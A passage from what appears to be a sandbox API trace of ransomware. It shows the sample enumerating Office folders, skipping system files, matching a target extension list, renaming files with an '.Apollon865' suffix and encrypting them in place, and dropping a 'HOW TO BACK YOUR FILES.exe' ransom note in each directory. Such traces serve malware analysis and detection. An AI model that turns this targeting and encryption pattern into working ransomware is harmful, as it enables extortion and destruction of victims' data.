	[0075.703] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.703] lstrlenW (lpString="mdb") returned 3
	[0075.703] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.703] lstrlenW (lpString="sql") returned 3
	[0075.703] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.703] lstrlenW (lpString="sqlite") returned 6
	[0075.703] lstrcmpiW (lpString1="UI.XML", lpString2="sqlite") returned 1
	[0075.703] lstrlenW (lpString="sqlite3") returned 7
	[0075.703] lstrcmpiW (lpString1="MUI.XML", lpString2="sqlite3") returned -1
	[0075.703] lstrlenW (lpString="sqlitedb") returned 8
	[0075.703] lstrcmpiW (lpString1="oMUI.XML", lpString2="sqlitedb") returned -1
	[0075.703] lstrlenW (lpString="xml") returned 3
	[0075.703] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.703] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.Apollon865") returned 115
	[0075.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.705] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=9503) returned 1
	[0075.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.705] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.706] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.706] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.706] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2820, lpName=0x0) returned 0x118
	[0075.708] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2820) returned 0x100000
	[0075.709] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.709] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.709] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.710] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.710] CloseHandle (hObject=0x118) returned 1
	[0075.710] CloseHandle (hObject=0x15c) returned 1
	[0075.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.710] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0
	[0075.711] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.711] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcf0
	[0075.711] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us"
	[0075.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aad40 | out: hHeap=0x580000) returned 1
	[0075.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0075.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us") returned 95
	[0075.711] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us"
	[0075.711] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.711] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.716] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4533e4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4533e4d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.716] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.716] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.716] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.716] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4533e4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4533e4d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.716] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.716] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.717] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.717] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.717] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4533e4d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4533e4d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.717] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.717] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2=".") returned 1
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="..") returned 1
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="windows") returned -1
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="bootmgr") returned 1
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="temp") returned -1
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="pagefile.sys") returned 1
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="boot") returned 1
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="ids.txt") returned 1
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="ntuser.dat") returned 1
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="perflogs") returned 1
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2="MSBuild") returned 1
	[0075.717] lstrlenW (lpString="PublisherMUI.XML") returned 16
	[0075.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*") returned 97
	[0075.717] lstrcpyW (in: lpString1=0x2d3e610, lpString2="PublisherMUI.XML" | out: lpString1="PublisherMUI.XML") returned="PublisherMUI.XML"
	[0075.717] lstrlenW (lpString="PublisherMUI.XML") returned 16
	[0075.717] lstrlenW (lpString="Apollon865") returned 10
	[0075.717] lstrcmpiW (lpString1="herMUI.XML", lpString2="Apollon865") returned 1
	[0075.717] lstrlenW (lpString=".dll") returned 4
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2=".dll") returned 1
	[0075.717] lstrlenW (lpString=".lnk") returned 4
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2=".lnk") returned 1
	[0075.717] lstrlenW (lpString=".ini") returned 4
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2=".ini") returned 1
	[0075.717] lstrlenW (lpString=".sys") returned 4
	[0075.717] lstrcmpiW (lpString1="PublisherMUI.XML", lpString2=".sys") returned 1
	[0075.717] lstrlenW (lpString="PublisherMUI.XML") returned 16
	[0075.717] lstrlenW (lpString="bak") returned 3
	[0075.717] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.717] lstrlenW (lpString="ba_") returned 3
	[0075.717] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.718] lstrlenW (lpString="dbb") returned 3
	[0075.718] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.718] lstrlenW (lpString="vmdk") returned 4
	[0075.718] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.718] lstrlenW (lpString="rar") returned 3
	[0075.718] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.718] lstrlenW (lpString="zip") returned 3
	[0075.718] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.718] lstrlenW (lpString="tgz") returned 3
	[0075.718] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.718] lstrlenW (lpString="vbox") returned 4
	[0075.718] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.718] lstrlenW (lpString="vdi") returned 3
	[0075.718] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.718] lstrlenW (lpString="vhd") returned 3
	[0075.718] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.718] lstrlenW (lpString="vhdx") returned 4
	[0075.718] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.718] lstrlenW (lpString="avhd") returned 4
	[0075.718] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.718] lstrlenW (lpString="db") returned 2
	[0075.718] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.718] lstrlenW (lpString="db2") returned 3
	[0075.718] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.718] lstrlenW (lpString="db3") returned 3
	[0075.718] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.718] lstrlenW (lpString="dbf") returned 3
	[0075.718] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.718] lstrlenW (lpString="mdf") returned 3
	[0075.718] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.718] lstrlenW (lpString="mdb") returned 3
	[0075.718] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.718] lstrlenW (lpString="sql") returned 3
	[0075.718] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.718] lstrlenW (lpString="sqlite") returned 6
	[0075.718] lstrcmpiW (lpString1="UI.XML", lpString2="sqlite") returned 1
	[0075.718] lstrlenW (lpString="sqlite3") returned 7
	[0075.718] lstrcmpiW (lpString1="MUI.XML", lpString2="sqlite3") returned -1
	[0075.719] lstrlenW (lpString="sqlitedb") returned 8
	[0075.719] lstrcmpiW (lpString1="rMUI.XML", lpString2="sqlitedb") returned -1
	[0075.719] lstrlenW (lpString="xml") returned 3
	[0075.719] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.719] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.Apollon865") returned 123
	[0075.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.720] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1450) returned 1
	[0075.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.720] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.721] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.721] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.721] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0x118
	[0075.723] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x100000
	[0075.724] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.725] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.725] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.725] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.725] CloseHandle (hObject=0x118) returned 1
	[0075.725] CloseHandle (hObject=0xc0) returned 1
	[0075.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.726] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0075.726] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112
	[0075.726] lstrcpyW (in: lpString1=0x2d3e610, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0075.726] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.726] lstrlenW (lpString="Apollon865") returned 10
	[0075.726] lstrlenW (lpString=".dll") returned 4
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0075.726] lstrlenW (lpString=".lnk") returned 4
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0075.726] lstrlenW (lpString=".ini") returned 4
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0075.726] lstrlenW (lpString=".sys") returned 4
	[0075.726] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0075.726] lstrlenW (lpString="SETUP.XML") returned 9
	[0075.726] lstrlenW (lpString="bak") returned 3
	[0075.726] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.726] lstrlenW (lpString="ba_") returned 3
	[0075.726] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.726] lstrlenW (lpString="dbb") returned 3
	[0075.726] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.727] lstrlenW (lpString="vmdk") returned 4
	[0075.727] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.727] lstrlenW (lpString="rar") returned 3
	[0075.727] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.727] lstrlenW (lpString="zip") returned 3
	[0075.727] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.727] lstrlenW (lpString="tgz") returned 3
	[0075.727] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.727] lstrlenW (lpString="vbox") returned 4
	[0075.727] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.727] lstrlenW (lpString="vdi") returned 3
	[0075.727] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.727] lstrlenW (lpString="vhd") returned 3
	[0075.727] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.727] lstrlenW (lpString="vhdx") returned 4
	[0075.727] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.727] lstrlenW (lpString="avhd") returned 4
	[0075.727] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.727] lstrlenW (lpString="db") returned 2
	[0075.727] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.727] lstrlenW (lpString="db2") returned 3
	[0075.727] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.727] lstrlenW (lpString="db3") returned 3
	[0075.727] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.727] lstrlenW (lpString="dbf") returned 3
	[0075.727] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.727] lstrlenW (lpString="mdf") returned 3
	[0075.727] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.727] lstrlenW (lpString="mdb") returned 3
	[0075.727] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.727] lstrlenW (lpString="sql") returned 3
	[0075.727] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.727] lstrlenW (lpString="sqlite") returned 6
	[0075.727] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0075.727] lstrlenW (lpString="sqlite3") returned 7
	[0075.727] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0075.727] lstrlenW (lpString="sqlitedb") returned 8
	[0075.727] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0075.728] lstrlenW (lpString="xml") returned 3
	[0075.728] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.728] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.Apollon865") returned 116
	[0075.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.729] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1608) returned 1
